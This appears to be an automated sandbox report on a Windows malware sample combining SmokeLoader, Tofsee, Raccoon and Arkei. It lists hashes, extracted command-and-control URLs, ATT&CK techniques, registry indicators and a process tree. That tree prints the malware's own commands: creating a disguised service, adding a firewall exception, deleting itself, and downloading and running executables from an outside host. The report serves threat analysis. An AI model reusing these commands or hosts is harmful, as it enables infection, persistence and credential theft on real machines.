arkei | 2b8d595d4763ee7ae46bf143f394fe9239d2a0d1a77dea9d2f69cfb5e253c042

Analysis

max time kernel
147s
max time network
153s
platform
windows7_x64
resource
win7-en-20211208
submitted
09/01/2022, 18:16

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General

Target

0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Size

289KB
MD5

0c7cd5a32bf32320089d44dc1a2cb8a3
SHA1

f5d6dbeecc9b6020a34811f5ef6310198288ffc2
SHA256

2b8d595d4763ee7ae46bf143f394fe9239d2a0d1a77dea9d2f69cfb5e253c042
SHA512

2151614602a002efedd85e158f901be5f145c75376e105a5b6071c89003294336583ec439a64c6dfa760d6709ee1cb5d6bc270355953b9390b2e19409c05099a

Score

10^/10

arkei raccoon smokeloader tofsee backdoor collection discovery evasion persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Arkei Stealer Payload 6 IoCs

stealer

resource	yara_rule
behavioral1/memory/1828-78-0x00000000002D0000-0x00000000002EC000-memory.dmp	family_arkei
behavioral1/memory/1828-77-0x0000000000400000-0x0000000002B86000-memory.dmp	family_arkei
behavioral1/memory/1920-138-0x0000000001150000-0x000000000150F000-memory.dmp	family_arkei
behavioral1/memory/1920-139-0x0000000001150000-0x000000000150F000-memory.dmp	family_arkei
behavioral1/memory/1920-140-0x0000000001150000-0x000000000150F000-memory.dmp	family_arkei
behavioral1/memory/1920-141-0x0000000001150000-0x000000000150F000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Blocklisted process makes network request 2 IoCs

flow	pid	Process
129	960	WScript.exe
132	960	WScript.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
864	86DC.exe
1828	A7F8.exe
1752	B457.exe
364	C633.exe
1688	brbdpypu.exe
1724	C633.exe
960	C633.exe
1680	39AE.exe
1920	4EA6.exe
524	79DB.exe
1740	39AE.exe
900	B615.exe
1516	D53A.exe
644	EA51.exe
1460	extd.exe
996	extd.exe
1048	setup1.exe
1280	extd.exe
1464	setup2.exe
1688	extd.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000012685-207.dat	upx
behavioral1/files/0x0007000000012685-209.dat	upx
behavioral1/files/0x0007000000012685-215.dat	upx
behavioral1/files/0x0007000000012685-231.dat	upx
behavioral1/files/0x0007000000012685-239.dat	upx
behavioral1/files/0x0007000000012685-275.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4EA6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4EA6.exe

Deletes itself 1 IoCs

pid	Process
1360	Process not Found

Loads dropped DLL 15 IoCs

pid	Process
364	C633.exe
364	C633.exe
1680	39AE.exe
1920	4EA6.exe
1920	4EA6.exe
1920	4EA6.exe
1920	4EA6.exe
1920	4EA6.exe
1888	WerFault.exe
1888	WerFault.exe
1888	WerFault.exe
1888	WerFault.exe
1888	WerFault.exe
1888	WerFault.exe
1888	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4EA6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
1920	4EA6.exe
1920	4EA6.exe
1516	D53A.exe
1464	setup2.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 960 set thread context of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 364 set thread context of 960	364	C633.exe	48
PID 1688 set thread context of 1752	1688	brbdpypu.exe	54
PID 1680 set thread context of 1740	1680	39AE.exe	58

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1888	524	WerFault.exe	55

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	86DC.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	86DC.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	39AE.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	39AE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	86DC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	39AE.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4EA6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4EA6.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1768	timeout.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 6 IoCs

pid	Process
1460	extd.exe
996	extd.exe
1048	setup1.exe
1280	extd.exe
1464	setup2.exe
1688	extd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1636	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
1636	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1360	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1636	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
864	86DC.exe
1360	Process not Found
1360	Process not Found
1360	Process not Found
1360	Process not Found
1740	39AE.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	364	C633.exe
Token: SeDebugPrivilege	960	C633.exe
Token: SeDebugPrivilege	900	B615.exe
Token: SeShutdownPrivilege	1360	Process not Found
Token: SeShutdownPrivilege	1360	Process not Found
Token: SeShutdownPrivilege	1360	Process not Found
Token: SeDebugPrivilege	1888	WerFault.exe
Token: SeShutdownPrivilege	1360	Process not Found
Token: SeDebugPrivilege	1464	setup2.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1360	Process not Found
1360	Process not Found

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1360	Process not Found
1360	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 960 wrote to memory of 1636	960	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	27
PID 1360 wrote to memory of 864	1360	Process not Found	28
PID 1360 wrote to memory of 864	1360	Process not Found	28
PID 1360 wrote to memory of 864	1360	Process not Found	28
PID 1360 wrote to memory of 864	1360	Process not Found	28
PID 1360 wrote to memory of 1828	1360	Process not Found	29
PID 1360 wrote to memory of 1828	1360	Process not Found	29
PID 1360 wrote to memory of 1828	1360	Process not Found	29
PID 1360 wrote to memory of 1828	1360	Process not Found	29
PID 1360 wrote to memory of 1752	1360	Process not Found	30
PID 1360 wrote to memory of 1752	1360	Process not Found	30
PID 1360 wrote to memory of 1752	1360	Process not Found	30
PID 1360 wrote to memory of 1752	1360	Process not Found	30
PID 1360 wrote to memory of 364	1360	Process not Found	31
PID 1360 wrote to memory of 364	1360	Process not Found	31
PID 1360 wrote to memory of 364	1360	Process not Found	31
PID 1360 wrote to memory of 364	1360	Process not Found	31
PID 1752 wrote to memory of 304	1752	B457.exe	34
PID 1752 wrote to memory of 304	1752	B457.exe	34
PID 1752 wrote to memory of 304	1752	B457.exe	34
PID 1752 wrote to memory of 304	1752	B457.exe	34
PID 364 wrote to memory of 1724	364	C633.exe	36
PID 364 wrote to memory of 1724	364	C633.exe	36
PID 364 wrote to memory of 1724	364	C633.exe	36
PID 364 wrote to memory of 1724	364	C633.exe	36
PID 1752 wrote to memory of 1736	1752	B457.exe	37
PID 1752 wrote to memory of 1736	1752	B457.exe	37
PID 1752 wrote to memory of 1736	1752	B457.exe	37
PID 1752 wrote to memory of 1736	1752	B457.exe	37
PID 1752 wrote to memory of 692	1752	B457.exe	39
PID 1752 wrote to memory of 692	1752	B457.exe	39
PID 1752 wrote to memory of 692	1752	B457.exe	39
PID 1752 wrote to memory of 692	1752	B457.exe	39
PID 1752 wrote to memory of 908	1752	B457.exe	41
PID 1752 wrote to memory of 908	1752	B457.exe	41
PID 1752 wrote to memory of 908	1752	B457.exe	41
PID 1752 wrote to memory of 908	1752	B457.exe	41
PID 1752 wrote to memory of 1188	1752	B457.exe	43
PID 1752 wrote to memory of 1188	1752	B457.exe	43
PID 1752 wrote to memory of 1188	1752	B457.exe	43
PID 1752 wrote to memory of 1188	1752	B457.exe	43
PID 1752 wrote to memory of 832	1752	B457.exe	45
PID 1752 wrote to memory of 832	1752	B457.exe	45
PID 1752 wrote to memory of 832	1752	B457.exe	45
PID 1752 wrote to memory of 832	1752	B457.exe	45
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 364 wrote to memory of 960	364	C633.exe	48
PID 1360 wrote to memory of 1280	1360	Process not Found	49
PID 1360 wrote to memory of 1280	1360	Process not Found	49
PID 1360 wrote to memory of 1280	1360	Process not Found	49
PID 1360 wrote to memory of 1280	1360	Process not Found	49

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe
"C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:960
- C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe
  "C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1636

C:\Users\Admin\AppData\Local\Temp\86DC.exe
C:\Users\Admin\AppData\Local\Temp\86DC.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:864

C:\Users\Admin\AppData\Local\Temp\A7F8.exe
C:\Users\Admin\AppData\Local\Temp\A7F8.exe
1⤵
- Executes dropped EXE
PID:1828

C:\Users\Admin\AppData\Local\Temp\B457.exe
C:\Users\Admin\AppData\Local\Temp\B457.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hzcuoktb\
  2⤵
  PID:304
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brbdpypu.exe" C:\Windows\SysWOW64\hzcuoktb\
  2⤵
  PID:1736
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create hzcuoktb binPath= "C:\Windows\SysWOW64\hzcuoktb\brbdpypu.exe /d\"C:\Users\Admin\AppData\Local\Temp\B457.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:692
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description hzcuoktb "wifi internet conection"
  2⤵
  PID:908
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start hzcuoktb
  2⤵
  PID:1188
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:832

C:\Users\Admin\AppData\Local\Temp\C633.exe
C:\Users\Admin\AppData\Local\Temp\C633.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:364
- C:\Users\Admin\AppData\Local\Temp\C633.exe
  C:\Users\Admin\AppData\Local\Temp\C633.exe
  2⤵
  - Executes dropped EXE
  PID:1724
- C:\Users\Admin\AppData\Local\Temp\C633.exe
  C:\Users\Admin\AppData\Local\Temp\C633.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:960

C:\Windows\SysWOW64\hzcuoktb\brbdpypu.exe
C:\Windows\SysWOW64\hzcuoktb\brbdpypu.exe /d"C:\Users\Admin\AppData\Local\Temp\B457.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1688
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:1752

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:1280

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1632

C:\Users\Admin\AppData\Local\Temp\39AE.exe
C:\Users\Admin\AppData\Local\Temp\39AE.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1680
- C:\Users\Admin\AppData\Local\Temp\39AE.exe
  C:\Users\Admin\AppData\Local\Temp\39AE.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1740

C:\Users\Admin\AppData\Local\Temp\4EA6.exe
C:\Users\Admin\AppData\Local\Temp\4EA6.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:1920
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4EA6.exe" & exit
  2⤵
  PID:908
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1768

C:\Users\Admin\AppData\Local\Temp\79DB.exe
C:\Users\Admin\AppData\Local\Temp\79DB.exe
1⤵
- Executes dropped EXE
PID:524
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 440
  2⤵
  - Loads dropped DLL
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:1888

C:\Users\Admin\AppData\Local\Temp\B615.exe
C:\Users\Admin\AppData\Local\Temp\B615.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:900

C:\Users\Admin\AppData\Local\Temp\D53A.exe
C:\Users\Admin\AppData\Local\Temp\D53A.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1516

C:\Users\Admin\AppData\Local\Temp\EA51.exe
C:\Users\Admin\AppData\Local\Temp\EA51.exe
1⤵
- Executes dropped EXE
PID:644
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\EAAF.bat C:\Users\Admin\AppData\Local\Temp\EA51.exe"
  2⤵
  PID:1208
- - C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1460
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1488\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:996
- - C:\Users\Admin\AppData\Local\Temp\1488\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1048
- - C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1280
- - C:\Users\Admin\AppData\Local\Temp\1488\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- - C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1688
- - C:\Users\Admin\AppData\Local\Temp\1488\setup3.exe
    setup3.exe
    3⤵
    PID:1756
- - C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\EAAD.tmp\EAAE.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    PID:1280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/364-74-0x0000000000D80000-0x0000000000E0A000-memory.dmp

Filesize
552KB

Download
memory/364-75-0x0000000000D80000-0x0000000000E0A000-memory.dmp

Filesize
552KB

Download
memory/364-80-0x0000000000550000-0x0000000000551000-memory.dmp

Filesize
4KB

Download
memory/364-81-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/524-184-0x0000000000250000-0x000000000029F000-memory.dmp

Filesize
316KB

Download
memory/524-188-0x0000000000400000-0x0000000002BC5000-memory.dmp

Filesize
39.8MB

Download
memory/524-185-0x00000000002A0000-0x0000000000331000-memory.dmp

Filesize
580KB

Download
memory/864-65-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/864-64-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/864-62-0x000000000056A000-0x000000000057A000-memory.dmp

Filesize
64KB

Download
memory/900-168-0x0000000001F00000-0x0000000001F34000-memory.dmp

Filesize
208KB

Download
memory/900-172-0x0000000002271000-0x0000000002272000-memory.dmp

Filesize
4KB

Download
memory/900-175-0x0000000002274000-0x0000000002276000-memory.dmp

Filesize
8KB

Download
memory/900-173-0x0000000002272000-0x0000000002273000-memory.dmp

Filesize
4KB

Download
memory/900-174-0x0000000002273000-0x0000000002274000-memory.dmp

Filesize
4KB

Download
memory/900-167-0x0000000000548000-0x0000000000574000-memory.dmp

Filesize
176KB

Download
memory/900-169-0x0000000002050000-0x0000000002082000-memory.dmp

Filesize
200KB

Download
memory/900-170-0x0000000000220000-0x0000000000259000-memory.dmp

Filesize
228KB

Download
memory/900-171-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/960-101-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-105-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-108-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

Filesize
4KB

Download
memory/960-106-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-98-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-99-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-57-0x0000000000220000-0x0000000000228000-memory.dmp

Filesize
32KB

Download
memory/960-58-0x0000000000230000-0x0000000000239000-memory.dmp

Filesize
36KB

Download
memory/960-100-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-102-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1048-233-0x0000000000360000-0x00000000003C0000-memory.dmp

Filesize
384KB

Download
memory/1208-212-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

Filesize
8KB

Download
memory/1280-112-0x0000000000130000-0x00000000001A4000-memory.dmp

Filesize
464KB

Download
memory/1280-111-0x0000000071661000-0x0000000071663000-memory.dmp

Filesize
8KB

Download
memory/1280-113-0x00000000000C0000-0x000000000012B000-memory.dmp

Filesize
428KB

Download
memory/1360-166-0x0000000004460000-0x0000000004476000-memory.dmp

Filesize
88KB

Download
memory/1360-59-0x0000000002160000-0x0000000002176000-memory.dmp

Filesize
88KB

Download
memory/1360-66-0x0000000003C60000-0x0000000003C76000-memory.dmp

Filesize
88KB

Download
memory/1464-261-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

Filesize
4KB

Download
memory/1464-260-0x00000000002A0000-0x00000000002E5000-memory.dmp

Filesize
276KB

Download
memory/1464-252-0x0000000001010000-0x0000000001072000-memory.dmp

Filesize
392KB

Download
memory/1464-251-0x0000000001010000-0x0000000001072000-memory.dmp

Filesize
392KB

Download
memory/1464-244-0x0000000001010000-0x0000000001072000-memory.dmp

Filesize
392KB

Download
memory/1464-250-0x0000000075500000-0x000000007565C000-memory.dmp

Filesize
1.4MB

Download
memory/1464-248-0x00000000752D0000-0x0000000075327000-memory.dmp

Filesize
348KB

Download
memory/1464-247-0x0000000075360000-0x00000000753A7000-memory.dmp

Filesize
284KB

Download
memory/1464-242-0x00000000745F0000-0x000000007463A000-memory.dmp

Filesize
296KB

Download
memory/1464-246-0x0000000075920000-0x00000000759CC000-memory.dmp

Filesize
688KB

Download
memory/1464-243-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/1516-195-0x0000000000150000-0x0000000000231000-memory.dmp

Filesize
900KB

Download
memory/1516-182-0x0000000000150000-0x0000000000231000-memory.dmp

Filesize
900KB

Download
memory/1516-193-0x0000000075500000-0x000000007565C000-memory.dmp

Filesize
1.4MB

Download
memory/1516-189-0x0000000000240000-0x0000000000285000-memory.dmp

Filesize
276KB

Download
memory/1516-194-0x0000000000150000-0x0000000000231000-memory.dmp

Filesize
900KB

Download
memory/1516-197-0x0000000073C90000-0x0000000073D10000-memory.dmp

Filesize
512KB

Download
memory/1516-196-0x0000000074AF0000-0x0000000074B7F000-memory.dmp

